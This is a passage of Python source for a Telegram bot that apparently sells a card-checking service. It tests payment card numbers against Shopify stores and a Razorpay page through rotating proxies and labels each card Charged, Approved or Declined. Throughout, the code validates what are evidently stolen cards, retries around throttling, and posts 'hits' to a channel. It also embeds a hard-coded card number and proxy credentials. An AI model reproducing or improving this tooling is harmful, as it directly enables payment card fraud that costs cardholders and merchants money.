f'{pt}://{u}:{pw}@{h}:{p}' if u and pw else f'{pt}://{h}:{p}' return {'ip': h, 'port': p, 'username': u or None, 'password': pw or None, 'proxy_url': pu, 'type': pt} async def test_proxy(proxy_url): try: s = await get_proxy_session() async with s.get('http://api.ipify.org?format=json', proxy=proxy_url, timeout=aiohttp.ClientTimeout(total=PROXY_TIMEOUT)) as r: if r.status == 200: return True, (await r.json()).get('ip', '?') return False, None except Exception as e: return False, str(e) async def get_bin_info(cn): try: s = await get_bin_session() async with _BIN_SEM: async with s.get(f'https://bins.antipublic.cc/bins/{cn[:6]}') as r: if r.status != 200: return {"brand": "-", "type": "-", "level": "-", "bank": "-", "country": "-", "flag": "๐Ÿณ๏ธ"} d = await r.json(content_type=None) return {"brand": d.get('brand', '-'), "type": d.get('type', '-'), "level": d.get('level', '-'), "bank": d.get('bank', '-'), "country": d.get('country_name', '-'), "flag": d.get('country_flag', '๐Ÿณ๏ธ')} except: return {"brand": "-", "type": "-", "level": "-", "bank": "-", "country": "-", "flag": "๐Ÿณ๏ธ"} # ====================== SHOPIFY API ====================== def build_api_url(site, cc, proxy_data=None): if not site.startswith('http'): site = f'https://{site}' url = f'{API_BASE_URL}?site={quote(site, safe="")}&cc={quote(cc, safe="")}' if proxy_data: ip, port = proxy_data['ip'], proxy_data['port'] un, pw = proxy_data.get('username'), proxy_data.get('password') ps = f"{ip}:{port}:{un}:{pw}" if un and pw else f"{ip}:{port}" url += f'&proxy={quote(ps, safe="")}' return url def classify_response(rj): ar = str(rj.get('Response', '')) if ar.upper() == 'DS_REQUIRED': ar = '3DS_REQUIRED' st = rj.get('Status', False) price = rj.get('Price', '-') gw = rj.get('Gate', rj.get('Gateway', rj.get('gate', 'Shopify Payments'))) if price is not None and price != '-': price = f"${price}" rl = ar.lower() if is_site_error(ar) or is_proxy_error(ar): return {"Response": ar, "Price": price, "Gateway": gw, "Status": "SiteError"} ch = ['order_paid', 'order_placed', 'order_confirmed', 'thank you', 'payment successful', 'order_completed', 'charged', 'order_created', 'order confirmed'] ap = ['otp_required', 'otp required', '3d_authentication', '3ds_required', '3d required', '3d_redirect', 'authentication_required', 'insufficient_funds', 'insufficient funds', 'cvc', 'ccn', 'ccn live cvv'] dc = ['generic_decline', 'generic decline', 'do_not_honor', 'do not honor', 'stolen_card', 'lost_card', 'pickup_card', 'pick_up_card', 'restricted_card', 'restricted card', 'fraudulent', 'fraud suspected', 'fraud_suspected', 'expired_card', 'expired card', 'transaction_not_allowed', 'transaction not allowed', 'card_declined', 'card declined', 'processor_declined', 'processor declined', 'card_not_supported', 'card not supported', 'currency_not_supported', 'duplicate_transaction', 'revocation_of_authorization', 'no_action_taken', 'try_again_later', 'not_permitted', 'decline', 'your card was declined', 'payment_intent_authentication_failure', 'avs_check_failed', 'incorrect number', 'incorrect_number', 'invalid', 'invalid_number', 'decision_rule_block', 'generic_error'] if any(k in rl for k in ch): return {"Response": ar, "Price": price, "Gateway": gw, "Status": "Charged"} if any(k in rl for k in ap): return {"Response": ar, "Price": price, "Gateway": gw, "Status": "Approved"} if any(k in rl for k in dc): return {"Response": ar, "Price": price, "Gateway": gw, "Status": "Declined"} if st is True and ar and len(ar) > 3 and any(k in rl for k in ap) and not any(w in rl for w in ["decline", "denied", "failed", "error", "rejected", "refused", "fraud", "invalid", "http_", "unknown", "timeout"]): return {"Response": ar, "Price": price, "Gateway": gw, "Status": "Approved"} return {"Response": ar, "Price": price, "Gateway": gw, "Status": "Declined"} async def check_card_api(card, site, proxy_data=None, user_id=None, http_session=None): uid = user_id or "?" try: url = build_api_url(site if site.startswith('http') else f'https://{site}', card, proxy_data) s = http_session or (await get_user_http_session(uid, "sp")) async with s.get(url) as r: if r.status != 200: return {"Response": f"HTTP_{r.status}", "Price": "-", "Gateway": "-", "Status": "SiteError", "card": card, "site": site} try: rj = await r.json(content_type=None) except: return {"Response": "Invalid JSON", "Price": "-", "Gateway": "-", "Status": "SiteError", "card": card, "site": site} result = classify_response(rj) result["card"] = card result["site"] = site # Retry on throttled if 'throttle' in str(result.get('Response','')).lower(): raise Exception("throttled") return result except asyncio.TimeoutError: return {"Response": "Timeout", "Price": "-", "Gateway": "Shopify", "Status": "Error", "card": card, "site": site} except asyncio.CancelledError: raise except Exception as e: err = str(e) st2 = "SiteError" if is_site_error(err) or is_proxy_error(err) else "Declined" return {"Response": err[:100], "Price": "-", "Gateway": "Unknown", "Status": st2, "card": card, "site": site} async def check_card_with_retry(card, sites, user_id=None, proxies_data=None, max_retries=3, rotator=None, cancel_check=None, http_session=None): if not sites: return {"Response": "No sites", "Price": "-", "Gateway": "-", "Status": "Error", "card": card}, -1 tried_sites = set() tried_proxies = set() last = None RETRY_ERRORS = ['throttled', 'too many requests', 'rate limit', 'try again', 'timeout'] for attempt in range(max_retries): if cancel_check and cancel_check(): return {"Response": "Stopped", "Price": "-", "Gateway": "-", "Status": "Error", "card": card}, -1 if rotator: site = rotator.pick_site(sites, exclude=tried_sites) else: available = [s for s in sites if s not in tried_sites] or list(sites) site = random.choice(available) tried_sites.add(site) proxy_data = None if proxies_data: if rotator: proxy_data = rotator.pick_proxy(proxies_data, exclude=tried_proxies) else: available_px = [p for p in proxies_data if p.get('proxy_url') not in tried_proxies] or list(proxies_data) proxy_data = random.choice(available_px) if proxy_data: tried_proxies.add(proxy_data.get('proxy_url')) result = await check_card_api(card, site, proxy_data, user_id, http_session=http_session) resp_lower = str(result.get("Response", "")).lower() # Retry on throttled if 'throttle' in resp_lower or 'too many' in resp_lower or 'rate limit' in resp_lower: await asyncio.sleep(2) continue if result.get("Status") != "SiteError": if rotator: rotator.report_site_ok(site) if proxy_data: rotator.report_proxy_ok(proxy_data.get('proxy_url')) return result, sites.index(site) + 1 if rotator: rotator.report_site_fail(site) if proxy_data and is_proxy_error(result.get("Response", "")): rotator.report_proxy_fail(proxy_data.get('proxy_url')) last = result if attempt < max_retries - 1: await asyncio.sleep(0.3) if last: last["Status"] = "Error" return last, -1 return {"Response": "Max retries", "Price": "-", "Gateway": "-", "Status": "Error", "card": card}, -1 async def test_site(site, proxy_data=None, http_session=None): test_card = "5154623245618097|03|2032|156" try: url = build_api_url(site if site.startswith('http') else f'https://{site}', test_card, proxy_data) s = http_session or (await get_user_http_session(0, "site")) async with s.get(url) as resp: if resp.status != 200: return {'site': site, 'status': 'dead', 'price': '-', 'response': f'HTTP_{resp.status}'} try: raw = await resp.json(content_type=None) except: return {'site': site, 'status': 'dead', 'price': '-', 'response': 'Invalid JSON'} rm = raw.get('Response', '') price = raw.get('Price', '-') if price and price != '-': price = f"${price}" if is_site_error(rm.lower()): return {'site': site, 'status': 'dead', 'price': price, 'response': rm} if not is_truly_alive(rm, price): return {'site': site, 'status': 'dead', 'price': price, 'response': rm} return {'site': site, 'status': 'alive', 'price': price, 'response': rm} except Exception as e: return {'site': site, 'status': 'dead', 'price': '-', 'response': str(e)[:50]} # ====================== RAZORPAY API ====================== def build_rz_api_url(cc, proxy_data=None): rz_site = os.getenv("RZ_SITE", "https://razorpay.me/@tpstech") rz_proxy = os.getenv("RZ_PROXY", "sg-sin.pvdata.host:8080:g2rTXpNfPdcw2fzGtWKp62yH:nizar1elad2") url = f'{RAZORPAY_API_URL}?cc={quote(cc, safe="")}&site={quote(rz_site, safe="")}&proxy={quote(rz_proxy, safe="")}' return url def clean_rz_response(raw_resp): """Strip DEAD | ID: pay_xxx | or CHARGED | ID: pay_xxx | prefix""" if not raw_resp: return raw_resp cleaned = re.sub(r'^(?:DEAD|LIVE|SUCCESS|CHARGED|APPROVED|DECLINED)\s*\|\s*ID:\s*pay_[a-zA-Z0-9]+\s*\|\s*', '', raw_resp, flags=re.IGNORECASE).strip() return cleaned if cleaned else raw_resp def classify_rz_response(rj): gate = 'RazorPay' # New API format: {"status": "charged", "message": "Payment Successfully", ...} status_raw = str(rj.get('status', rj.get('Status', ''))).lower() message_raw = str(rj.get('message', rj.get('response', rj.get('Response', '')))) resp = message_raw or status_raw resp = clean_rz_response(resp) rl = resp.lower() status_l = status_raw.lower() # Check if this is a retry-worthy error if is_rz_retry_error(resp): return {"Response": resp, "Price": "-", "Gateway": gate, "Status": "RetryError"} # Charged conditions rz_charged = ['payment successfully', 'payment successful', 'payment success', 'transaction success', 'order_paid', 'charged', 'success'] # Approved conditions rz_approved = [ 'insufficient account balance', 'insufficient_funds', 'insufficient funds', 'otp_required', 'otp required', '3d_authentication', '3ds_required', 'authentication_required', 'cvc', 'ccn', ] # Declined conditions rz_declined = [ 'payment cancelled', 'cancelled', 'card_declined', 'card declined', 'generic_decline', 'do_not_honor', 'stolen_card', 'lost_card', 'expired_card', 'restricted_card', 'fraudulent', 'not_permitted', 'transaction_not_allowed', 'card_not_supported', 'decline', 'your card was declined', 'payment failed', 'failed', 'generic_error', ] # Check status field first if status_l in ['charged', 'success', 'live']: return {"Response": resp, "Price": "-", "Gateway": gate, "Status": "Charged"} if status_l in ['approved', 'otp', '3ds']: return {"Response": resp, "Price": "-", "Gateway": gate, "Status": "Approved"} if status_l in ['declined', 'dead', 'failed']: return {"Response": resp, "Price": "-", "Gateway": gate, "Status": "Declined"} # Check message/response field if any(k in rl for k in rz_charged): return {"Response": resp, "Price": "-", "Gateway": gate, "Status": "Charged"} if any(k in rl for k in rz_approved): return {"Response": resp, "Price": "-", "Gateway": gate, "Status": "Approved"} if any(k in rl for k in rz_declined): return {"Response": resp, "Price": "-", "Gateway": gate, "Status": "Declined"} return {"Response": resp, "Price": "-", "Gateway": gate, "Status": "Declined"} async def check_rz_api(card, proxy_data=None, user_id=None, http_session=None): uid = user_id or "?" try: url = build_rz_api_url(card, proxy_data) s = http_session or (await get_user_http_session(uid, "rz")) async with s.get(url) as r: if r.status != 200: return {"Response": f"HTTP_{r.status}", "Price": "-", "Gateway": "RazorPay", "Status": "RetryError", "card": card} try: rj = await r.json(content_type=None) except: return {"Response": "Invalid JSON", "Price": "-", "Gateway": "RazorPay", "Status": "RetryError", "card": card} result = classify_rz_response(rj) result["card"] = card return result except asyncio.TimeoutError: return {"Response": "Timeout", "Price": "-", "Gateway": "RazorPay", "Status": "RetryError", "card": card} except asyncio.CancelledError: raise except Exception as e: return {"Response": str(e)[:100], "Price": "-", "Gateway": "RazorPay", "Status": "RetryError", "card": card} async def check_rz_with_retry(card, proxies_data=None, user_id=None, max_retries=3, cancel_check=None, http_session=None): """Retry logic for Razorpay - retries on RetryError status""" tried_proxies = set() last = None RETRY_ERRORS = ['throttled', 'too many requests', 'rate limit', 'try again', 'timeout'] for attempt in range(max_retries): if cancel_check and cancel_check(): return {"Response": "Stopped", "Price": "-", "Gateway": "RazorPay", "Status": "Error", "card": card} proxy_data = None if proxies_data: available_px = [p for p in proxies_data if p.get('proxy_url') not in tried_proxies] or list(proxies_data) proxy_data = random.choice(available_px) if proxy_data: tried_proxies.add(proxy_data.get('proxy_url')) result = await check_rz_api(card, proxy_data, user_id, http_session=http_session) if result.get("Status") != "RetryError": return result last = result if attempt < max_retries - 1: await asyncio.sleep(0.5) if last: last["Status"] = "Error" return last return {"Response": "Max retries", "Price": "-", "Gateway": "RazorPay", "Status": "Error", "card": card} # ====================== STATUS SYSTEM ====================== def _get_system_uptime(): if not PSUTIL_AVAILABLE: return "N/A" uptime_seconds = int(time.time() - psutil.boot_time()) days, remainder = divmod(uptime_seconds, 86400) hours, remainder = divmod(remainder, 3600) minutes, seconds = divmod(remainder, 60) return f"{days}d {hours:02}:{minutes:02}:{seconds:02}" def _get_bot_uptime(): uptime_seconds = int(time.time() - BOT_START_TIME) days, remainder = divmod(uptime_seconds, 86400) hours, remainder = divmod(remainder, 3600) minutes, seconds = divmod(remainder, 60) return f"{days}d {hours:02}:{minutes:02}:{seconds:02}" def _create_progress_bar(percentage, length=10): filled_length = int(length * percentage / 100) return f"{'โ–ˆ' * filled_length}{'โ–‘' * (length - filled_length)} {percentage:.1f}%" def _get_system_info(): if not PSUTIL_AVAILABLE: return {"error": "psutil not installed", "current_time": datetime.now().strftime("%Y-%m-%d %H:%M:%S")} try: cpu_usage = psutil.cpu_percent(interval=0) cpu_count = psutil.cpu_count(logical=True) cpu_freq = psutil.cpu_freq() memory = psutil.virtual_memory() disk = psutil.disk_usage("/") network = psutil.net_io_counters() network_interfaces = psutil.net_if_addrs() active_interfaces = [i for i in network_interfaces.keys() if not i.startswith(('lo', 'docker', 'br-'))] return { "cpu_usage": cpu_usage, "cpu_count": cpu_count, "cpu_freq": cpu_freq.current if cpu_freq else 0, "total_memory": memory.total / (1024**3), "used_memory": memory.used / (1024**3), "available_memory": memory.available / (1024**3), "memory_percent": memory.percent, "total_disk": disk.total / (1024**3), "used_disk": disk.used / (1024**3), "free_disk": disk.free / (1024**3), "disk_percent": disk.percent, "hostname": socket.gethostname(), "os_name": platform.system(), "os_version": platform.version(), "architecture": platform.machine(), "bytes_sent": network.bytes_sent / (1024**2), "bytes_recv": network.bytes_recv / (1024**2), "active_interfaces": active_interfaces, "uptime_str": _get_system_uptime(), "bot_uptime_str": _get_bot_uptime(), "current_time": datetime.now().strftime("%Y-%m-%d %H:%M:%S"), "bot_restart_time": datetime.fromtimestamp(BOT_START_TIME).strftime("%Y-%m-%d %H:%M:%S"), "cpu_critical": cpu_usage > 90, "memory_critical": memory.percent > 90, "disk_critical": disk.percent > 90, "error": None } except Exception as e: return {"error": str(e), "current_time": datetime.now().strftime("%Y-%m-%d %H:%M:%S")} async def _build_status_text(): sys_info = await asyncio.get_event_loop().run_in_executor(None, _get_system_info) if sys_info.get("error"): return f"โŒฌ ๐„๐ซ๐ซ๐จ๐ซ โ†ฌ โŒ {sys_info['error']}\nโŒฌ ๐๐จ๐ญ ๐๐ฒ โ†ฌ ๐‘น@๐’—๐’†๐’" os_v = sys_info["os_version"].split("-")[0] if "-" in sys_info["os_version"] else sys_info["os_version"] s = sys_info msg = ( f"โŒฌ ๐๐จ๐ญ ๐’๐ญ๐š๐ญ๐ฎ๐ฌ โ†ฌ โœ… Active\nโ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•\n" f"โŒฌ ๐๐จ๐ญ ๐”๐ฉ๐ญ๐ข๐ฆ๐ž โ†ฌ {s['bot_uptime_str']}\n" f"โŒฌ ๐’๐ฒ๐ฌ๐ญ๐ž๐ฆ ๐”๐ฉ๐ญ๐ข๐ฆ๐ž โ†ฌ {s['uptime_str']}\n" f"โŒฌ ๐‹๐š๐ฌ๐ญ ๐‘๐ž๐ฌ๐ญ๐š๐ซ๐ญ โ†ฌ {s['bot_restart_time']}\nโ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•\n" f"โŒฌ ๐‚๐๐” โ†ฌ {s['cpu_usage']:.1f}% ({s['cpu_count']} cores)\n" f"โŠ€ Usage โ†ฌ {_create_progress_bar(s['cpu_usage'])}\nโ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•\n" f"โŒฌ ๐‘๐€๐Œ โ†ฌ {s['used_memory']:.2f}GB / {s['total_memory']:.2f}GB\n" f"โŠ€ Usage โ†ฌ {_create_progress_bar(s['memory_percent'])}\nโ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•\n" f"โŒฌ ๐ƒ๐ข๐ฌ๐ค โ†ฌ {s['used_disk']:.2f}GB / {s['total_disk']:.2f}GB\n" f"โŠ€ Usage โ†ฌ {_create_progress_bar(s['disk_percent'])}\nโ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•\n" f"โŒฌ ๐๐ž๐ญ๐ฐ๐จ๐ซ๐ค โ†ฌ โ†‘ {s['bytes_sent']:.1f}MB โ†“ {s['bytes_recv']:.1f}MB\n" ) if s["cpu_critical"] or s["memory_critical"] or s["disk_critical"]: msg += "\nโš ๏ธ Warning: System resources critically low!" msg += f"\nโ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•โ€•\nโŒฌ ๐๐จ๐ญ ๐๐ฒ โ†ฌ ๐‘น@๐’—๐’†๐’" return msg # ====================== CLIENT ====================== client = TelegramClient('razor_x_bot', API_ID, API_HASH) client_instance = client # ====================== HIT NOTIFICATIONS ====================== async def send_channel_hit(res, uid, username, name, gate_type="Shopify"): try: prem = await is_premium_user(uid) tag = bs("Premium") if prem else bs("Free Trial") sv = str(res.get("Status", "Charged")).upper() prof = f"https://t.me/{username}" if username and not username.startswith("user_") else f"tg://user?id={uid}" gw = res.get('Gateway', gate_type) resp = res.get('Response', '') # Build channel hit message - no price for RazorPay if gate_type == "RazorPay": msg = f"""{bs('HIT')} โž› {bs(sv)} {PE} {bs('Gateway')} โž› {gw} {bs('Response')} โž› {resp} {bs('User')} โž› {name} ({tag})""" else: msg = f"""{bs('HIT')} โž› {bs(sv)} {PE} {bs('Gateway')} โž› {gw} {bs('Response')} โž› {resp} {bs('Price')} โž› {res.get('Price', '-')} {bs('User')} โž› {name} ({tag})""" await styled_send(HIT_CHANNEL_ID, msg, buttons=HIT_BUTTON, emoji_ids=[CE["fire"]]) except: pass async def pin_charged_message(event, msg): try: if event.is_group: await msg.pin() except: pass # ====================== /start ====================== @client.on(events.NewMessage(pattern=r'(?i)^[/.](start|cmds?|commands?)$')) async def start(event): try: await ensure_user(event.sender_id) if not await force_join_check(event): return _, at = await can_use(event.sender_id, event.chat) if at == "banned": t, e = banned_user_message() return await styled_reply(event, t, emoji_ids=e) plan = await get_user_plan(event.sender_id) limit = get_cc_limit(plan, event.sender_id) if is_paid_plan(plan): plan_emoji = "๐Ÿ› ๏ธ" for pi in PLANS.values(): if pi["tier"].lower() == plan.lower(): plan_emoji = pi["emoji"]; break sl = f"{PE} {bs('STATUS')} โ” {plan_emoji} {plan.upper()} {PE} ({limit} {bs('Mass Limit')})" se = [CE["star"], CE["crown"]] else: sl = f"{bs('STATUS')} โ” ๐Ÿ†“ {plan.upper()} ({FREE_SP_DAILY_LIMIT}/{bs('day')} {bs('in group')})" se = [] text = f"""{PE} {bs('Shopify')} | {PE} /sp โ” {bs('Single CC')} | {PE} /msp โ” {bs('Mass CC')} {PE} {bs('RazorPay')} | {PE} /rz โ” {bs('Single CC')} | {PE} /mrz โ” {bs('Mass CC')} {PE} {bs('Sites')} | {PE} /add โ” {bs('Add sites')} | {PE} /rm โ” {bs('Remove')} | {PE} /sites โ” {bs('View')} | {PE} /site โ” {bs('Test all')} {PE} {bs('Proxy')} ({bs('Private')}) | {PE} /addpxy โ” {bs('Add')} | {PE} /proxy โ” {bs('View')} | {PE} /chkpxy โ” {bs('Test')} | {PE} /rmpxy โ” {bs('Remove')} {PE} {bs('Account')} | {PE} /info โ” {bs('Profile')} | {PE} /plan โ” {bs('Plans')} โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” {sl}""" kb = [[pbtn(bs("Plans"), data="show_plans"), pbtn(bs("Support"), url="https://t.me/monsterloaderowner")], [pbtn(bs("Channel"), url=JOIN_CHANNEL_LINK), pbtn(bs("Group"), url=JOIN_GROUP_LINK)]] ei = [CE["bolt"], CE["search"], CE["pin"], CE["fire"], CE["search"], CE["pin"], CE["brain"], CE["plus"], CE["cross"], CE["globe"], CE["link"], CE["shield"], CE["link"], CE["eyes"], CE["tick"], CE["trash"], CE["info"], CE["info"]] + se await styled_reply(event, text, buttons=kb, emoji_ids=ei) except Exception as e: log_user(event.sender_id, "START_ERROR", f"Error={e}", "error") @client.on(events.CallbackQuery(data=b"check_joined")) async def check_joined_cb(event): uid = event.sender_id if uid in ADMIN_ID: return await event.answer(f"โœ… {bs('Admin')}!") if await is_user_joined(uid): await mark_user_joined(uid) await event.answer(f"โœ… {bs('Verified')}!", alert=True) try: await event.delete() except: pass await styled_send(event.chat_id, f"""{PE} {bs('Welcome')} {PE} {PE} /start {bs('for commands')}""", emoji_ids=[CE["fire"], CE["fire"], CE["info"]]) else: await event.answer(f"โŒ {bs('Not joined')}!", alert=True) @client.on(events.CallbackQuery(data=b"show_plans")) async def plans_cb(event): cp = await get_user_plan(event.sender_id) await event.answer() plans_text = f"""{PE} {bs('Plans')} {PE}\nโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”""" for pid, pi in PLANS.items(): plans_text += f"\n{pi['emoji']} {pi['name']} โ” {pi['duration_days']}{bs('d')} โ” {pi['price']}" plans_text += f"\nโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”\n{PE} {bs('Current')}: {cp.upper()}" await styled_send(event.chat_id, plans_text, buttons=[[pbtn(bs("Upgrade"), url="https://t.me/monsterloaderowner")]], emoji_ids=[CE["fire"], CE["fire"], CE["crown"]]) @client.on(events.NewMessage(pattern=r'(?i)^[/.]plan$')) async def show_plans(event): if await check_maintenance(event): return if not await force_join_check(event): return if await is_banned_user(event.sender_id): t, e = banned_user_message(); return await styled_reply(event, t, emoji_ids=e) cp = await get_user_plan(event.sender_id) plans_text = f"""{PE} {bs('Plans')} {PE}\nโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”""" for pid, pi in PLANS.items(): plans_text += f"\n{pi['emoji']} {pi['name']} โ” {pi['duration_days']}{bs('d')} โ” {pi['price']}" plans_text += f"""\nโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”\n{PE} {bs('Current')}: {cp.upper()}\n{PE} {bs('Contact admin')}""" await styled_reply(event, plans_text, buttons=[[pbtn(bs("Upgrade"), url="https://t.me/monsterloaderowner")]], emoji_ids=[CE["fire"], CE["fire"], CE["crown"]]) @client.on(events.NewMessage(pattern=r'(?i)^[/.]info$')) async def info_cmd(event): if await check_maintenance(event): return if not await force_join_check(event): return if await is_banned_user(event.sender_id): t, e = banned_user_message(); return await styled_reply(event, t, emoji_ids=e) await ensure_user(event.sender_id) plan = await get_user_plan(event.sender_id) sites = await get_user_sites(event.sender_id) pc = await get_proxy_count(event.sender_id) plan_emoji = "๐Ÿ†“" for pi in PLANS.values(): if pi["tier"].lower() == plan.lower(): plan_emoji = pi["emoji"]; break user_doc = await db["users"].find_one({"user_id": event.sender_id}) expiry = user_doc.get("expiry") if user_doc else None exp_str = expiry.strftime('%Y-%m-%d') if expiry else bs("Never") status = bs("Active") if is_paid_plan(plan) else bs("Free") limit_text = f"{get_cc_limit(plan, event.sender_id)}" if is_paid_plan(plan) else f"{FREE_SP_DAILY_LIMIT}/{bs('day')} ({bs('group')})" used_today = get_free_sp_usage(event.sender_id) usage_line = "" if not is_paid_plan(plan) and event.sender_id not in ADMIN_ID: usage_line = f"\n{PE} {bs('Used Today')}: {used_today}/{FREE_SP_DAILY_LIMIT}" await styled_reply(event, f"""{PE} {bs('Profile')} {PE} โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ” {PE} {bs('ID')}: {event.sender_id} {PE} {bs('Status')}: {status} {PE} {bs('Plan')}: {plan_emoji} {plan.upper()} {PE} {bs('Expiry')}: {exp_str} {PE} {bs('Limit')}: {limit_text}{usage_line} {PE} {bs('Sites')}: {len(sites)} {PE} {bs('Proxies')}: {pc}/{bs('100')}""", emoji_ids=[CE["fire"], CE["fire"], CE["info"], CE["star"], CE["crown"], CE["chart"], CE["globe"], CE["link"], CE["shield"]]) # ====================== SITE MANAGEMENT (same as before - compact) ====================== @client.on(events.NewMessage(pattern=r'(?i)^[/.]add\b')) async def add_site(event): if await check_maintenance(event): return if not await force_join_check(event): return _, at = await can_use(event.sender_id, event.chat) if at == "banned": t, e = banned_user_message(); return await styled_reply(event, t, emoji_ids=e) plan = await get_user_plan(event.sender_id) if event.sender_id not in ADMIN_ID and not is_paid_plan(plan): return await send_premium_only_message(event) try: sta = [] if event.is_reply: rm = await event.get_reply_message() if rm and rm.file: fp = await rm.download_media() try: async with aiofiles.open(fp, "r", encoding="utf-8", errors="ignore") as f: sta = extract_urls_from_text(await f.read()) finally: try: os.remove(fp) except: pass elif rm and rm.text: sta = extract_urls_from_text(rm.text) add_text = re.sub(r'^[/.]add\s*', '', event.raw_text, flags=re.IGNORECASE).strip() if add_text: for s in extract_urls_from_text(add_text): if s not in sta: sta.append(s) if not sta: return await styled_reply(event, f"""{PE} {bs('Add Site')} {PE}\n{PE} /add site.com\n{PE} {bs('Or reply .txt with')} /add""", emoji_ids=[CE["fire"], CE["fire"], CE["info"], CE["link"]]) existing_norm = {normalize_site_url(s) for s in await get_user_sites(event.sender_id)} new_sites, already_exists = [], [] for site in sta: n = normalize_site_url(site) if n in existing_norm: already_exists.append(n) elif n not in [normalize_site_url(s) for s in new_sites]: new_sites.append(n) if not new_sites: return await styled_reply(event, f"""{PE} {bs('All sites already exist')} {PE}\n{PE} {bs('Duplicates')}: {len(already_exists)}""", emoji_ids=[CE["warn"], CE["warn"], CE["info"]]) uid = event.sender_id PENDING_ADD_SITES[uid] = {"sites": new_sites, "exists": already_exists, "event": event} kb = [[pbtn(f"{bs('0-5 USD')}", f"addprice:5:{uid}"), pbtn(f"{bs('0-10 USD')}", f"addprice:10:{uid}")], [pbtn(f"{bs('0-20 USD')}", f"addprice:20:{uid}"), pbtn(f"{bs('0-40 USD')}", f"addprice:40:{uid}")]] await styled_reply(event, f"""{PE} {bs('Select Price Range')} {PE}\nโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”\n{PE} {bs('New Sites')}: {len(new_sites)}\n{PE} {bs('Already Exist')}: {len(already_exists)}\nโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”\n{PE} {bs('Only working sites within price range will be added')}""", buttons=kb, emoji_ids=[CE["fire"], CE["fire"], CE["globe"], CE["warn"], CE["info"]]) except Exception as e: await styled_reply(event, f"{PE} {bs('Error')}: {e}", emoji_ids=[CE["cross"]]) @client.on(events.CallbackQuery(pattern=rb"addprice:(\d+):(\d+)")) async def add_price_cb(event): max_price = int(event.pattern_match.group(1).decode()) uid = int(event.pattern_match.group(2).decode()) if event.sender_id != uid: return await event.answer(f"{bs('Not yours')}!", alert=True) data = PENDING_ADD_SITES.pop(uid, None) if not data: return await event.answer(f"{bs('Expired')}!", alert=True) if uid in ACTIVE_ADD_PROCESSES: return await event.answer(f"{bs('Already running')}!", alert=True) ACTIVE_ADD_PROCESSES[uid] = True await event.answer(f"{bs('Testing sites')}...") try: await event.delete() except: pass asyncio.create_task(_process_add_sites(data["event"], data["sites"], data["exists"], max_price)) async def _process_add_sites(event, new_sites, already_exists, max_price): uid = event.sender_id total = len(new_sites); tested = working = dead = added_to_db = 0 proxies = await get_all_user_proxies(uid) user_site_sem = get_user_sem(uid, "site") http_session = await get_user_http_session(uid, "site") sm = await styled_reply(event, f"{PE} {bs('Testing')} {total} {bs('sites')}...", emoji_ids=[CE["fire"]]) last_ui = [0]; working_sites_data = [] def is_stopped(): return uid not in ACTIVE_ADD_PROCESSES async def update_ui(): now = time.time() if now - last_ui[0] < 3.0: return last_ui[0] = now try: await styled_edit(sm, f"{PE} {bs('Testing')}... {tested}/{total} | โœ…{working} โŒ{dead}", emoji_ids=[CE["fire"]]) except: pass async def test_worker(site): nonlocal tested, working, dead, added_to_db async with user_site_sem: if is_stopped(): return try: res = await test_site(site, random.choice(proxies) if proxies else None, http_session=http_session) tested += 1 if res['status'] == 'alive': working += 1 price_val = 0 ps = res.get('price', '-') if ps and ps != '-': try: price_val = float(str(ps).replace('$', '').strip()) except: pass working_sites_data.append({'site': site, 'response': res.get('response', '-'), 'price': ps, 'price_val': price_val}) if price_val <= max_price: if await add_site_db(uid, site): added_to_db += 1 else: dead += 1 await update_ui() except asyncio.CancelledError: raise except: dead += 1; tested += 1 for i in range(0, len(new_sites), SITE_PER_USER_WORKERS): if is_stopped(): break await asyncio.gather(*[asyncio.create_task(test_worker(s)) for s in new_sites[i:i+SITE_PER_USER_WORKERS]], return_exceptions=True) try: await styled_edit(sm, f"""{PE} {bs('Complete')} {PE}\n{PE} {bs('Working')}: {working} | {bs('Dead')}: {dead} | {bs('Added')} ($0-${max_price}): {added_to_db}""", emoji_ids=[CE["fire"], CE["check"], CE["cross"], CE["chart"]]) except: pass ACTIVE_ADD_PROCESSES.pop(uid, None) await cleanup_user_http_session(uid, "site"); cleanup_user_sem(uid) @client.on(events.NewMessage(pattern=r'(?i)^[/.]rm\b')) async def remove_site(event): if await check_maintenance(event): return if not await force_join_check(event): return _, at = await can_use(event.sender_id, event.chat) if at == "banned": t, e = banned_user_message(); return await styled_reply(event, t, emoji_ids=e) plan = await get_user_plan(event.sender_id) if event.sender_id not in ADMIN_ID and not is_paid_plan(plan): return await send_premium_only_message(event) rt = re.sub(r'^[/.]rm\s*', '', event.raw_text, flags=re.IGNORECASE).strip() if rt.lower() == 'all': existing = await get_user_sites(event.sender_id) if not existing: return await styled_reply(event, f"{PE} {bs('No sites')}", emoji_ids=[CE["warn"]]) c = 0 for s in existing: if await remove_site_db(event.sender_id, s): c += 1 return await styled_reply(event, f"{PE} {bs('Removed')} {c} {bs('sites')}", emoji_ids=[CE["check"]]) if not rt: return await styled_reply(event, f"{PE} /rm site.com {bs('or')} /rm all", emoji_ids=[CE["info"]]) to_rm = extract_urls_from_text(rt) if not to_rm: return await styled_reply(event, f"{PE} {bs('No URLs')}", emoji_ids=[CE["cross"]]) existing = await get_user_sites(event.sender_id) removed = [] for s in to_rm: n = normalize_site_url(s) for ex in existing: if normalize_site_url(ex) == n: if await remove_site_db(event.sender_id, ex): 